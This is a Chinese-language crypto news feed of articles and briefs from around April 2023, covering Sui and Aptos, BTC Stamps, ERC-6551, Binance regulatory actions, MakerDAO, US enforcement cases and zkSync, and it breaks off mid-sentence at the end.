    原文：《加速发展的Sui，能否成为下一个Layer1破局者》 作者：Daniel Li Layer1区块链Sui宣布其主网将于今年第二季度推出，并开启名为「 Wave to Mainnet」的一系列教育活动和内容，旨在主网上线前，让社区了解 Sui协议的潜力。Sui与Layer1龙头Aptos同属于Meta系公链，在项目建立时间上二者几乎同时创立，与Aptos相比，Sui更注重于底层技术的创新，其目标是成为第一个互联网规模的可编程区块链平台。尽管在发展势头上Sui远不如Aptos，但是以技术创新为驱动力的项目往往具备厚积薄发的潜力，Sui在过去几年积累了丰富的技术优势，随着Sui的主网即将发布，相信很快Sui会迎来一波发展高潮。 Aptos继承了Die项目近三年的开源技术和开发经验，可以快速实现底层架构的搭建和生态项目的布局。与之相比，Sui选择从零开始构建Layer1网络，导致其在开发进程上远远落后于Aptos。所以早期在吸引资本和投资者关注方面，快速发展的Aptos比还在搭建底层架构的Sui更能吸引投资者的目光。其次，二者作为Layer1公链都致力于改善区块链的安全性和可扩展性，打造一个面向数十亿人的高性能区块链基础设施网络。但在实现目标上，二者的战略或重点存在一定区别。 Aptos注重市场营销，Aptos被包装为来自IT行业最优秀开发者创造的独特产品便是其营销手段，虽然夸张，但是胜在效果好，在过去顶着Layer1领导者的名号，Aptos吸引大批的投资者。去年Q4启动主网并发币。虽然价格一路缩水超过76%，但自年初以来表现十分强劲，最近有所回调，但总市值仍达20.8亿美元。其次在生态项目合作方面，Aptos注重与知名企业的合作，例如在基础设施方面与Google Cloud启动加速计划；在游戏方面与韩国3A级游戏工作室NPIXEL达成合作；在支付方面与Web3金融科技公司MoonPay合作整合生态系统项目Petra等。与知名企业的合作为Aptos带来了巨大的流量和关注，也促进了其生态项目的快速发展。 与Aptos不同，相对于市场营销，Sui更重视底层技术的创新应用。例如，Sui改进版Move语言能够更加清晰地表明对象的所有权、可变性以及可组合性使其天然适用于搭建元宇宙设施。在生态项目方面，由于Sui的主网尚未上线，大部分项目还处在测试阶段，所以在关注度方面Sui远不如Aptos。因此，在很多时候，Aptos就像一个站在聚光灯下的明星，而Sui则更像一个在后台默默付出的耕耘者。 Sui和Aptos同为Layer1公链，创始团队都来自Diem，且又同属于Move赛道，所以二者从一开始就存在竞争关系。但是，由于Sui是从零开始搭建Layer1网络，开发进程相对滞后，早期市场大部分目光也都集中在Aptos上，因此二者之间的竞争关系在开始阶段并不明显。直到最近Sui的Wave 2测试圆满结束，并宣布主网即将上线，这才引起了Aptos的关注和警惕。上个月Sui的CTO就在Twitter上指控Aptos向MOVECON（Move生态第一场大规模论坛）的主办方Pontem团队施压，取消Sui团队的演讲，甚至把Sui基金会从活动组织者名单中剔除。这表明Aptos已经开始将正在崛起的Sui视为竞争对手，也从侧面肯定了Sui的市场地位和潜力。 尽管与Aptos相比Sui还有很多不足，例如生态项目和社区规模方面Sui不如Aptos，但Sui一直致力于底层技术的创新和应用，在过去的一年里也积累了丰富技术优势，从Sui-Move语言到Narwhal-Tusk共识机制再到存储基金代币经济学，Sui在区块链项目的每个层面都进行了重大创新，就此而言，即使与Aptos等其他新的Layer1公链相比，Sui也是独一无二的。 Aptos和Sui都使用Move语言，但两者有所不同。Aptos在设计上基本遵循了Diem白皮书的经典设计思路，而Sui则进行了升级和调整，形成了独特的Sui- Move语言。与Move最大的区别在于，Sui采用以对象为中心的模型，而不是以地址为中心的模型。因此，在Sui上，几乎所有的东西，如代币、智能合约、NFT等，都可以表示为“对象”。每个对象都有一系列属性，包括所有者地址、读写属性、可转让属性、功能属性等。Sui-Move明确表明了对象的所有权、共享、可变或不可变等特性，而Aptos则没有明确表述。此外，Sui的所有权API比Aptos的API更为简洁，因为它更清晰地展示了区块链设计。在功能方面，相对于Move语言，Sui-Move在安全性、智能合约支持、编程模式灵活性和兼容性方面具有一定的优势。 Sui的共识机制都最大限度地减少了验证者之间处理交易所需的通信，以实现更低的延迟。Sui的共识机制分成了两部分：Narwhal和Tusk。Narwhal是一种内存池协议，用于存储未经确认的区块链交易，并在共识协议验证它们之前广播这些交易。该协议的任务是在保持数据可用性的同时达成共识，并且独立于共识协议，能够容忍异步或间歇性故障。Tusk是一种异步共识协议，负责交易排序。该协议使用共享随机性来消除节点之间的额外通信，并允许每个节点确定交易的总顺序。当与Narwhal协议组合使用时，可确保在发生故障时仍能保持高性能。 理论上，Sui这种设计的吞吐量可扩展性没有已知的上限。并且在安全性方面，相对于对同步区块链（即大多数基于工作量证明的区块链），Sui的安全属性能够抵御恶劣的网络条件、网络分区或对验证者的 DoS 攻击，因为它不会对网络施加任何同步假设。 Aptos的核心功能是无缝升级，可让开发者专注于构建，而不会干扰用户。相比之下，Sui开发工具包（SDK）则为开发人员提供更多便利。SDK提供了开源、通用和用户友好的工具，并允许开发人员在调试智能合约、等待审计和构建基本技术栈元素上节省大量时间。此外，SDK还尝试连接其他生态系统和非加密用例，如：游戏API直接连接到通用Layer1，而不是侧链或专注于游戏的L2；"SuiEcho"通过促进数字资产从其他生态系统到Sui的可移植性来引导社区；"Handshake"是一种前端工具，可作为用户向加密和非加密用户分发、领取/赎回Sui数字资产（如支付、商户优惠券）的渠道。 除了一系列旨在优化系统的可组合性和可扩展性的技术创新外，Sui还实施了一种独特的代币经济学模型。与传统的权益证明链的代币经济学模型不同，Sui的代币经济学模型增加了“存储基金”功能。由于区块链是一种只增不减的数据结构，随着时间其链上需要维护的数据会越来越多，成本也会相应提高，这就导致了后期使用Sui的用户需要支付比早期用户更高的费用，“存储基金”基本就是为了解决这个问题而生，让早期用户支付更多费用，使所有户可基于类似的费用水平使用该网络。 此外，Sui的存储基金还会支付给系统中的验证者，或者实际存储区块链数据并完成数据维护工作的人。随着维护工作的增加，给验证者的支出也会增加，这也会激励更多人成为系统中的验证者，而随着越来越多的人成为验证者，可用的存储空间总量也会增加，进一步导致写入区块链的gas费用降低。Sui的代币经济学模型是高度可扩展链经济模型的典型代表，使用了博弈论来确保gas费在区块链的整个生命周期内保持相对恒定。 MovEX 是 Sui 上的第一个 AMM+订单簿混合流动性 DEX，它结合了 AMM 和订单簿的优点，通过创建混合流动性池为每个人提供流动性交易体验。在内部，MovEX 有一个在 AMM 和订单簿之间分配订单的结算引擎，它既保证了交易者的滑点最小，又保证了流动性提供者的公平。流动性提供者还可以自定义价格范围提供单面流动性，能够有效管理无常损失。 MovEX支持市价交易和限价单交易两种在中心化交易平台常见的功能。普通用户可以以自定义价格范围，为流动池提供流动性；专业交易者和流动性提供者可以通过订单簿成为流动性提供者，类似于中心化交易所的做市商。目前，MovEX产品仍处于测试阶段，用户可以通过Sui Wallet钱包链接应用，体验产品。 Sui Wallet是一个浏览器扩展，充当 Web3世界的门户，允许用户连接到DApps并从受信任的 DApps 签署人类可读的交易。它是 Sui 区块链的官方钱包，允许用户创建、导入和持久存储助记词和派生私钥，转移硬币和 NFT，以及查看拥有的可替代代币和 NFT。Sui钱包最初是为Sui开发者测试使用而开发的，是目前测试网认可度最高的钱包。 Suiswap是Sui链上的自动做市商机制（AMM）的DEX，支持Sui生态内原生资产的兑换和交易。目前，Suiswap支持用户领取测试Token，进行交易或者组建LP为流动性资金池提供流动性，产品的最终形态需要等Sui主网上线后才会见到。 Leizd Protocol是Sui生态内的去中心借贷应用，采用超额抵押形式运行借贷功能。该应用以去中心化美元稳定币USDZ作为中间资产，像以太坊链上的MakerDAO一样，通过铸造稳定币来实现借贷产品的风险可控。在LeizdProtocol，借款人可以存入加密资产作为担保物铸造USDZ，然后借出所需的USDZ,将之兑换成USDT或USDC等稳定币使用，到期归还所借的USDZ和利息即可取出抵押资产。存款人同样可以抵押加密资产铸造USDZ换取存款利息，或者将USDZ兑换为其它加密资产再存入存款池赚取利息。 据悉，Leizd Protocol计划多链部署在Sui和Aptos两个网络上，允许用户用两条链上的资产实现借贷。不过，Leizd Protocol的测试产品还未上线，产品还存在于概念介绍阶段。 BlueMove是一款支持NFT创建和交易的平台，已经在Sui和Aptos两个网络上成功部署。平台的智能合约采用了模块化系统，并通过标准化签名明确定义执行范围，可以在不影响安全性的情况下随着时间的推移推出新功能，例如集合报价、特征报价和多次取消等功能。 除此之外，BlueMove还发行了总量为3亿的平台通证MOVE，其中5%用于空投，40%用于奖励平台积极参与的交易者和收藏家，15%用于奖励用户质押MOVE代币，其余则用于融资和团队开发。MOVE代币的主要效用为链上治理和会员权益。 目前，用户可以在BlueMove上购买或出售NFT，并获得MOVE奖励。此外，用户还可以通过质押MOVE代币获取平台的交易费用分成以及额外的MOVE奖励。 Abyss World 是一款由 Metagame Industries 开发的基于 Sui Layer 1 区块链的动作角色扮演游戏，拥有强大的 Web3技术和游戏体验。它聚合了 Web2 和 Web3游戏玩家，让玩家在虚拟世界中体验到身临其境的游戏乐趣。游戏中的各种角色，地图和剧情都将由Sui区块链技术支持，让玩家创造出真实的游戏世界。根据路线图，Abyss World将于今年第三季度正式开启公测。 在 Web3的玩法里，NFT 是吸引用户早期参与项目的关键选项，Abyss World 在 3 月 23 日就开启首批创世 NFT Gazer 系列的售卖活动。这些 NFT 并不是单纯的小图片，而是与游戏内的权益和功能进行了绑定：持有 NFT 的玩家可以在游戏内分享潜在收入、获得更多的稀有道具和皮肤，以及抢先得到游戏的内测资格。此外，由于有着和 Mysten Labs 的深度合作，NFT 除了绑定 Abyss World 的游戏原生代币 AWT，也有绑定 Sui 代币空投的权益，可谓是目前 Sui 生态的头部项目。 Sui是第一个从头开始设计的无许可Layer1区块链，致力于为Web3用户提供更加友好的使用体验。然而，技术只有在解决实际问题时才能发挥其价值，并且只有在人们愿意为其付费时才能真正获得成功。Sui一直专注于底层技术的创新和应用，这为其带来了丰富的技术优势。随着Sui的主网即将上线，现在是将这些技术优势转化为市场竞争力的时候了。通过“Wave to Mainnet”的系列活动，Sui正在从幕后走向前台，向人们展示多年来积累的技术实力。未来，底层技术将如何推动整体DX/UX，谁将能够吸引更多用户和流动性，这些问题将随着时间的推移而逐渐得到回答。  ( 2 min )
    币安澳大利亚分部衍生品金融服务许可证已被吊销
    PANews 4月6日消息，据CO NEWS报道，澳大利亚证券投资委员会（ASIC）吊销了币安澳大利亚分部衍生品金融服务许可证。取消后，自2023年4月14日起，客户将无法在币安增加衍生品头寸或开立新头寸；币安将要求客户在2023年4月21日之前关闭现有的所有衍生品头寸；2023年4月21日，币安将关闭所有剩余的未平仓头寸。但取消条款包括一项规定，即取消对币安在2024年4月8日之前继续作为澳大利亚金融投诉管理局成员的要求没有影响。据悉，ASIC一直在对澳大利亚的币安金融服务业务进行有针对性的审查，包括其对零售和批发客户的分类。  ( 1 min )
    比特币NFT新风口袭来，一文浅析BTC Stamps协议
    原文：《浅析BTC Stamps：比特币NFT的新风口》 作者：Azuma 比特币 NFT 的世界里出现了一股新的风向。 一种叫作 BTC Stamps（比特币“邮票”）的全新比特币 NFT 实现方式已经诞生，且在其问世的头 20 天内，通过该方式所铸造的 NFT 数量要远远超过我们已较为熟悉的 Ordinals 起步时的数据。（关于 Ordinals，可参考阅读《万字雄文解读Ordinals：从点对点电子现金系统到NFT基础设施，比特币共识的范式演进》） 团片来源：Bitcoin Frontier Fund 合伙人 trevor.btc BTC Stamps 系由匿名开发者 Mike In Space! 创建，根据其提交的 Github 资料可知，BTC Stamps 的实现机制为将base64 格式的图像数据嵌入到比特币链上的交易输出之中，从而永久地在比特币链上保存相应的图片数据。 具体来说，用户需要先将图片的二进制内容编码为 base64 格式的字符串（图片的 base64 编码指的是可以将一副图片数据编码成一串字符串，再使用该字符串代替图像地址），然后在该字符串之前加入「Stamps:」的前缀，继而再使用Counterparty 协议将整段文本内容广播到比特币链上，内容会被切分但会逐一编号，以方便上层应用据此逆向解码至原始图片内容。 这里涉及到了一个概念 ——Counterparty 协议。Counterparty协议其实早在 2014 年就已诞生，如今被视为 NFT 先驱的「Rare Pepes」（当时甚至还没有 NFT 这个词）就曾使用过该协议，其特点在于可在比特币数据块的空白处写入数据，从而将数据嵌入至原生的比特币交易之中。 值得一提的是，99% 的 Counterparty 交易一般都会采用OP_RETURN的数据编码方法，但基于该方法所嵌入的数据可以被比特币全节点“删减”，因此并不适用于强调永久保存的 NFT 方向。但在BTC Stamps 的情况下，由于 base 64 字符串的统一长度，相应的Counterparty 交易会默认为 P2SH 类型，该类型交易需要将数据分拆并嵌入至多笔交易输出之中（内容越大，创建的输出越多），且无法被比特币全节点“删除”，从而就实现了对图片数据的永久保存。 至于BTC Stamps 的C 端体验，有两点需要格外注意。 一是从数据上链的成本角度考虑，Mike In Space! 在 Github 资料库中建议用户选择「24x24 像素，8 色深的 PNG 或 GIF」的图片规格，这也是头部项目 CryptoPunks 的原生分辨率。 二是所有的 BTC Stamps NFT 均将根据交易时间戳进行编号（因此最重要的可能不是图片内容，而是编号），编号从 0 开始，并将无限地持续下去，但内嵌无效或无法辨认的 base64 字符串的交易将不会被承认。 Stampchain 数据显示，截至北京时间 4 月 6 日 1:30，已有 8220 个BTC Stamps NFT 被铸造，图片内容大多都直接搬用了CryptoPunks 的原图。 综合来看，BTC Stamps 为所有对比特币 NFT 感兴趣的玩家提供了一种全新的实现形式，其与Ordinals 相比，也存在着一些明显的区别。 根据比特币生态开发团队 Trust Machines 的分析，BTC Stamps 相较于Ordinals 最大的优势在于，其数据保存基于最简单的交易输出完成，因此比特币全节点们“别无选择”，只能选择去保存BTC Stamps，而OP_RETURN 和“见证数据”（Ordinals 采用的方案）则存在被全节点“删减”的可能性。 不过，BTC Stamps 相较于Ordinals 也有着明显的劣势。最主要的一点 BTC Stamps的费用成本较Ordinals 更高，这也导致BTC Stamps 为了限制成本只能去限制原始图片的规格；此外，Ordinals 还支持除图片外的其他文件类型，比如文本、音频、视频甚至应用程序等等，只要大小不超过 4 MB 的区块限制即可，这也是 BTC Stamps 暂时做不到的。 比特币 NFT 的发展仍处于极早期，无论是BTC Stamps 还是Ordinals 暂时都还不够成熟，二者最终能否分出个孰优孰劣，或是会根据不同的特点走向不同的应用方向，这都会成为比特币 NFT 未来发展的关键看点。Odaily 星球日报也将继续陪伴大家，持续跟踪这一细分赛道的发展动向。  ( 2 min )
    消息人士：Jane Street、Tower Research和Radix是币安在CFTC诉讼中的“VIP”客户
    PANews 4月6日消息，据彭博社援引消息人士报道，在美国商品期货交易委员会（CFTC）对币安诉讼文件中，提到被列为“VIP”客户的三家匿名交易公司分别为：Radix Trading是CFTC诉讼中描述的“贸易公司 A”，而Jane Street是“贸易公司 B”，Tower Research是“贸易公司C”。据悉，CFTC在文件中表示，币安声称的“VIP”待遇包括更低的交易费用和更快的交易服务。这些公司为币安提供了交易所的流动性，而币安则获得了相应的交易费收入。据称，币安通过向Radix提供有关通过虚拟专用网络 (VPN) 访问Binance.com的信息以掩盖其IP地址，从而使Radix能够规避合规控制。 此前消息，Radix Trading为CFTC对币安诉讼中提到的三家量化公司之一  ( 1 min )
    2分钟速览ERC-6551：NFT与DID新范式
    作者：BennyGiang 编译：Biteye 核心贡献者 Crush 近期Future Primitive团队推出了基于代币绑定账户（ERC 6551），这是一种新的技术，将为每个NFT提供自己的账户/钱包地址。 Future Primitive是由几位优秀Web3公司的工作人员组成的开发工作室，由CryptoKitties/Dapper Labs 的创始团队成员之一和Bitski的联合创始人领导。Future Primitive 以打造未来为使命，将在过去 5 年围绕 NFT 的势头的基础上，想象未来 5 年会是什么样子。他们相信，对于项目创始人、收藏家和建造者来说，代币绑定将是 NFT 生态系统的重大技术飞跃。以下是Futrue Primitive和CryptoKitties的联创 Benny Giang 在推特上对新推出的代币绑定账户（ERC 6551）的介绍，内容略有删改。 如果 NFT 有自己的钱包会怎么样？ 受 Soul Bound Tokens (SBTs) 的启发，我们的想法正好相反，我们称之为代币绑定账户 Token Bound Accounts (TBAs) 。不是绑定 NFT 到钱包，我们有与 NFT 绑定的钱包。 我们的想法是，NFT 正在朝着这种自我主权身份的方向发展，它们不仅仅是躺在小狐狸钱包中的小图片。 它们有能力拥有资产，执行链上操作，更重要的是创造自己的历史。 事实上，从2020以来人们就一直在围绕着NFT去形成一个独有的身份。 但是问题的关键是什么呢？ 这些NFT仍然只是一种静态资产，除了流转之外，似乎不具有创造历史记录的功能。目前的NFT不带有交易历史、签名控制和链接的所有权。 因此当我们谈论这个 NFT 从哪里来的时候，总是会有些不清不楚。 直到 ERC 6551 的出现，我们才真正解决了这个问题。 如果我们给每一个 NFT 一个自己的钱包，那么它就可以自己签署交易、持有资产，并作为一个 NFT 连接到其它 dapp。 它的优势在于不需要对目前的 ERC 721、Wrapped后的合约、或者是 NFT 持有者的任何行为进行重大更改。 因为代币绑定账户使用的是智能合约钱包进行绑定，一旦 ERC 6551 进入主网，每个NFT 都会自动拥有一个绑定的地址，无需任何额外的操作。 举个例子，小明从一个项目中获得了一个 Apple NFT，随后这个项目决定对 NFT 持有者进行代币空投，并且也发布了一系列 POAP，供持有者领取。 场景A——没有使用代币绑定账户 当小明决定出售他的NFT时，与 NFT 相关的代币、POAP 都不会转移给买家。 场景B——使用了代币绑定账户 所有与NFT 相关的代币领取、POAP 领取，都会记录在 NFT 本身。在进行 NFT 出售时，买家也会看到这些记录，所有相关的代币、POAP 也都会一并转移给买家。如果缺失了这些，那么 NFT 的价值可能也会大打折扣。 如果您感兴趣，可以使用我们的测试网进行体验： https://tokenbound.org 04、小结 自从 2017年的 ERC 721 诞生以来，几乎没有出现过像 ERC 6551 这样的重大创新。 借助 ERC 6551 或代币绑定账户，我们能够在所有现有和新的 NFT 之上无缝添加新的所有权层，在链上开辟大多数项目创建者一直想添加但尚未找到简单方法的新用例。 ERC 6551将有望成为推动整个行业发展的新动力，给所有参与者带来好处，带来NFT和DID新范式！  ( 2 min )
    MakerDAO协议工程核心部门将于4月底停运，同时多名核心贡献者将离职
    PANews 4月6日消息，MakerDAO 协议工程核心部门（Protocol Engineering Core Unit，以下简称 PECU）开发者Derek在治理论坛发文表示，由于Maker创始人Rune Christensen此前提出的治理架构改革提案，MakerDAO的PECU正在关闭，并将有序地过渡到由独立生态系统参与者取而代之的情况。 Derek表示，随着Endgame和Constitution MIP的成功启动，Scope Frameworks显然正在改变向贡献者请求工作的方式。因此，PECU将于2023年4月底停止运营，将与社区成员合作，确保成功过渡到新框架。根据规定，所有PECU团队成员的MKR线性解锁将于2023年4月底停止，临近下一个解锁cliff的将立即解锁，但其未解锁部分将被没收。任何未使用的团队多签资金将用于支付未结清的审计费用、软件许可、法律费用和未结清的合同协议。目前已有五名MakerDAO PECU开发者留言表示将于4月30日起停止为MakerDAO做出贡献。 相关阅读：Maker创始人的新“终局”治理改革提案：三大功能和大致时间表  ( 1 min )
    美国监管来了，加密企业走了
    原文：《加密逃生潮，和美国监管一起到来》 作者：章鱼哥 美国商品期货交易委员会（CFTC）于上周一在芝加哥联邦法院起诉加密货币交易所币安及其CEO兼创始人赵长鹏，该监管机构称其故意逃避联邦法律，经营“非法”数字资产衍生品交易所。除了起诉赵长鹏和几个币安关联公司外，CFTC还指控币安前首席合规官Samuel Lim协助和教唆币安违规。 CFTC监管可能导致公司和个人面临巨额罚款和其他处罚。CFTC表示：“在对被告的诉讼中，寻求没收非法所得、民事罚款、永久交易和注册禁令，以及针对进一步违反《商品交易法》和CFTC规定的指控的永久禁令”。 近年来，加密货币吸引了许多投资者和交易者的关注。由于其独特的性质，给加密货币市场也带来了一些风险和挑战。 在美国的加密监管体系里，CFTC和SEC是绕不开的。但这两者对加密货币的定义依旧充满分歧，这导致加密公司对美国监管的接受程度在逐渐降低。SEC和CFTC之间的争议主要是关于加密货币是否应该被视为证券还是商品。这个问题的答案对于加密货币公司的合规和监管有着重要的影响。 SEC认为某些加密货币是证券，而CFTC认为它们是商品。作为证券，加密货币将受到严格的证券法规的监管，例如注册、信息披露、交易所监管等。作为商品，加密货币将受到期货交易法规的监管，例如交易所注册、报告义务等。 在某些情况下，一个加密货币可能被视为既是证券又是商品。例如，比特币通常被视为商品，因为它是通过挖掘而产生的，类似于黄金或其他贵金属。但是，某些代币可能被视为证券，因为它们被视为一种投资工具，类似于股票或债券。 由于缺乏统一的法律框架，加密货币的分类一直是监管机构和行业内的热门话题。但即使对加密货币缺乏明确的分类定义，美国的加密监管却从未停止，近年来对加密领域的监管力度持续增强，其中不乏一些巨额罚单。 Bitfinex和Tether CFTC针对Bitfinex的起诉最早可追溯到2016年，当时CFTC指控其为散户大宗商品交易提供非法场外融资且未注册期货相关牌照，并命令其支付7.5万美元罚款。 2019年，CFTC同时对Bitfinex和Tether提出民事指控。其中CFTC指控Bitfinex的罪名与2016年类似，即通过未注册的交易平台提供不合规的交易服务，并涉嫌违反反洗钱法等。此外，CFTC还指控Tether对其发行的加密货币稳定币做出误导性声明。此案最终于2021年10月年达成和解，以Bitfinex支付150万美元罚款，Tether支付4100万美元罚款告终。 BitMEX 2020年10月，CFTC、美国联邦调查局和美国司法部联合起诉BitMEX及其创始人高管。起诉书指出BitMEX向美国投资者提供加密货币衍生品的杠杆交易服务，而BitMEX则充当某些交易的交易对手。同时BitMEX未注册为商品期货交易商，并指控其违反了《反洗钱法》和《反恐怖主义法》。此外，起诉书还指控BitMEX的高管未能实施合规措施。BitMEX的四名高管同时被起诉，其中三人被捕。 最终，BitMEX与CFTC达成和解协议，并同意支付1亿美元罚款。作为协议的一部分BitMEX还需实施一系列合规措施，以确保其交易平台符合CFTC监管标准。此外，BitMEX的三名联合创始人Arthur Hayes、Benjamin Delo和Samuel Reed被禁止进一步违反商品交易法 (CEA) 和CFTC的规定，并分别缴纳1000万美元民事罚款。 Ripple 2020年12月22日，美国证券交易委员会（SEC）正式发布了针对Ripple公司及其创始人Bradley Garlinghouse和Christian A.Larsen的起诉书。文件称，从2013年至今，Ripple公司及其创始人出售了超过146亿单位的数字资产证券“XRP”，以换取超过13.8亿美元的资金，被告没有登记他们对XRP的报价和销售，也没有获得任何注册豁免，违反了联邦证券法的注册规定。 针对此次诉讼事件，Ripple首席执行官Brad Garlinghouse表示：“我们并没有错，我们将在法庭上积极进行这场斗争并取得胜利，以明确美国的规则。”多年来，Ripple与SEC之间的“爱恨纠缠”受到行业内广泛关注与讨论。 Coinbase 2021年3月，美国商品期货交易委员会向加密货币交易所Coinbase发出警示，指控其在2016年至2018年间未能遵守交易规则，根据CFTC指控，Coinbase曾在2015年至2018年期间通过两个交易程序自行交易了少量加密货币，并与客户达成了不公平协议。后续Coinbase同意支付650万美元罚款以达成和解。 Coinbase作为在美经营的加密巨头，除了CFTC的监管之外，SEC也对其的运营状况密切关注。上月底， SEC向Coinbase发出“韦尔斯通知”，警告该公司存在违反美国证券法行为，造成Coinbase美股盘后大跌超过15%。 Tron 美国证券交易委员会于今年3月22日正式起诉波场（Tron）创始人、火必全球顾问委员会成员孙宇晨，指控其涉嫌非法销售证券、欺诈和操控市场，并针对其加密资产名人支持者的单独违规行为提出指控。 SEC称，孙宇晨试图通过虚拟交易（洗售）计划人为增加TRX交易量，让员工在其控制的两个加密资产交易平台账户之间进行了超过60万次TRX虚拟交易。每日通过这些洗售交易大约450万至740万个TRX，非法交易所用资产（TRX）全部系孙宇晨本人提供。 SEC最近一段时间加大了对加密货币行业的执法力度，打击“兜售未注册证券”的公司和项目。 在2022年11月加密货币交易所FTX崩盘前几个月，加密货币市场因利率上升和广泛的风险转移而动荡，导致稳定币Terra崩盘和加密对冲基金“三箭资本”以及交易所Celsius和Voyager破产。自FTX崩溃以来，SEC一直在积极打击加密行业。在Gensler的布局下，该监管机构已对多个重量级人物采取执法行动，包括加密货币交易所Gemini、Genesis、孙宇晨、Do Kwon和交易所Kraken。 而上周一CFTC对币安采取的行动也令加密社区感到意外，从更广泛的角度来看，可能会损害整个加密行业。币安在市场上占有举足轻重的地位，它的信誉丧失可能会导致整体市场信任度和投资的下降，可能会增加监管机构对其他加密货币交易平台的审查，以及更严格的监管。 有观点认为，如果美国的加密货币监管框架比其他国家严格得多，它可能确实会促进所谓的监管套利。但是也有观点认为，美国的任务是平衡其内部规则，在为企业提供机会的同时保持公平程度的消费者保护。 平衡加密的监管与创新是一个复杂的问题。监管机构需要在保护消费者、维护金融稳定和打击非法使用加密货币等方面发挥作用，同时也要鼓励负责任的技术创新。这需要监管机构与加密行业进行合作，共同制定合理的监管框架。 从既往案例及近来案例来看，在美的加密公司在面对监管的诉讼时都采取了积极的应对措施，以维护自身的合法权益，尚未出现加密企业因美国监管而出走的案例。总的来看，加密企业面临诉讼指控最终都免不了采取“破财消灾”的手段。 美国加密行业正监管趋严。证据也似乎很充分：美联储和其他监管机构正在警告银行注意加密货币的风险；美国证券交易委员会则威胁将起诉美国最大的加密货币交易所Coinbase；白宫经济报告中质疑加密货币是否存在基本价值。 在全球多地的监管中，美国地区备受关注。不同于其他地区的暧昧态度，美国态度一直很明确：加密货币不能扼杀，但必须受到监管。并且，一直以来我们经常听到美国多个部门对加密货币都有过发声。从联邦层面，这些机构包括SEC 、CFTC、美国财政部、OCC等等；而各州也有自己的监管部门，比较具有代表性的是纽约金融监管局。 而多部门发声，对加密产业提出监管要求，其实本质上是一种行政权力争夺。毕竟加密产业属于一个新兴产业，究竟应该属于哪方管辖，没有具体划分。当下加密所展现出的发展潜力已经得到验证，加密货币总市值仅用了12年左右的时间便超过两万亿美元，成长速度令人咂舌，这其中潜在的利益所得对监管机构无疑是一块充满诱惑力的蛋糕，都想参与进来分一杯羹。对于这些美国监管机构来说，谁能在加密市场掌握话语权，谁就能够左右行业走向，谁就能在当中获取最大的利益。 可以说监管未必就是坏事，只要不阻碍加密创新，净化市场排除糟粕的监管是能够促进加密行业的长足发展的。在美的加密企业倒也远没到杯弓蛇影的地步，当前态势下，思考如何在合规框架下开展业务即是企业生存的长久之道。 参考文章 美国证券交易委员会起诉孙宇晨：涉非法销售证券、欺诈和操控市场 这些年，CFTC对加密公司开过的罚单 美国监管步步紧逼，加密巨头发声“上谏”  ( 1 min )
    新加坡计划为银行审查加密客户制定新指南
    PANews 4月6日消息，据彭博社报道，新加坡当局正在与该国的的银行合作，制定统一的标准来筛选加密货币和数字资产领域的潜在客户。 据知情人士透露，中央银行和警方一直在帮助银行在为所有类型的数字资产服务提供商开立账户时调整审查方法。知情人士说，该项目已经进行了大约六个月，关于概述尽职调查和风险管理等领域的行业报告可能会在未来两个月内发布。  ( 1 min )
    DeFi协议Thala上线Aptos主网，融资295.5万美元
    PANews 4月6日消息，DeFi协议Thala已于北京时间今日8时上线Aptos主网。 据悉，Thala的LBP池于今日7时关闭，最终通过ThalaLaunch公开发行融资295.5万美元，交易量达828万美元。  ( 1 min )
    Su Zhu等人创办的破产索赔交易所OPNX的Twitter账户被冻结
    PANews 4月6日消息，三箭资本创始人SuZhu等人创办的破产索赔交易所Open Exchange（OPNX）的官方Twitter账户显示“已被冻结”。 此前消息，破产索赔交易所 OPNX上线以来交易额仅为1.26美元。  ( 1 min )
    ZKSync项目浅析：一文了解zksync lite及zksync Era
    撰文：Yinan zkSync 是一条以太坊第二层（Layer 2）公链，使用零知识 rollup (ZK rollup）技术来解决以太坊当前的可扩展性问题。使命是增加以太坊的吞吐量，而且要大规模地充分维护其基本价值——自由、自主权、去中心化。 在 zkSync 中，计算是在链下执行的，大多数数据也存储在链下。由于所有交易都在以太坊主链上进行证明，因此用户享有与以太坊相同的安全级别。 zkSync 1.0 —-zkSync Lite于 2020 年 6 月 15 日在以太坊主网上启动 实现了约 300 TPS 的交易吞吐量，但是不兼容EVM。 zkSync 2.0—-zkSync Era于2023年3月24号启动，首先，通过支持 Solidity（通过 zkEVM）和 Zinc（rollup 的内部编程语言）实现任意智能合约功能；其次，通过 zkPorter - 一种结合了 zkRollups 和分片的协议，吞吐量呈指数级增长，达到 20,000+ TPS。 zksync era 特性： 以太坊及ERC20代币转账具有即时确认和L1上的快速终结性。 主网上的ERC20代币和以太坊转账的交易费用非常低。 可以方便地使用正在转移的代币向现有的以太坊地址（包括智能合约）进行支付。 zksync era 亮点： 具有主网级安全性，无需依赖第三方。 无需许可的EVM（以太坊虚拟机）兼容智能合约。 标准Web3 API。 保留关键的EVM特性，如智能合约的可组合性。 引入新特性，如账户抽象化。 团队： Matter labs 是 zkSync 背后的公司，这是一家来自德国的公司，由 CEO Alex G. 于 2018 年创立，现已发展到 50 多名员工。该团队由经验丰富的开发人员、研究人员和企业家以及沟通方面 Zoe Gadsden (COO)、Ankur Rakshit (CFO)、Steve Newcomb (CPO) 和 Shazia Hasan 等核心成员组成。他们齐心协力创造一种更高效、更具成本效益且更安全的以太坊交易方式。 CEO：Alex Gluchowski---他拥有超过 15 年的开发经验，并作为一位 CTO 和企业家不断发展。他热衷于个人自由、自我拥有和去中心化。 COO：Zoe Gadsden---Zoe 是一位前谷歌员工，拥有 10 年以上的增长和产品领导 CFO：Ankur Rakshit---在金融领域拥有 15 年的经验，曾担任 Kraken 的财务规划和分析主管。 CPO：Steve Newcomb---一位成功的企业家和产品经理，在该行业和加速器项目方面拥有超过 15 年的经验。 营销和通信主管：Shazia Hasan---在金融和通信方面有各种经验 得益于多元化的背景，该团队能够在构建区块链和运营公司的多个关键方面游刃有余。这些都是非常重要的要点，因为该项目的目标是被广泛采用。 融资： Matter Labs 自 2018 年以来已经通过 5 轮融资筹集了 2.58 亿美元，BitDAO 又额外提供了 2 亿美元的资金承诺，分 5 批 4000 万美元用于引导 zkSync 生态系统。 BitDAO 的 2 亿美元资金承诺将在生态系统发展中发挥重要作用。该 DAO 致力于通过在各个领域的积极资助来扩展 zkSync 生态系统： 投资将由决策委员会根据第一阶段确定的目标和目标进行选择。这些里程碑可能包括进行的投资数量、授予的赠款、资助的公共产品的影响、对 DAO 核心工具的贡献，以及指导委员会和资助团队决定包括的任何其他指标。 目前已经进行在Fair Onboarding Alpha阶段，zksync 2.0主网上线阶段 下一阶段将是，第 3 层概念 Layer 2 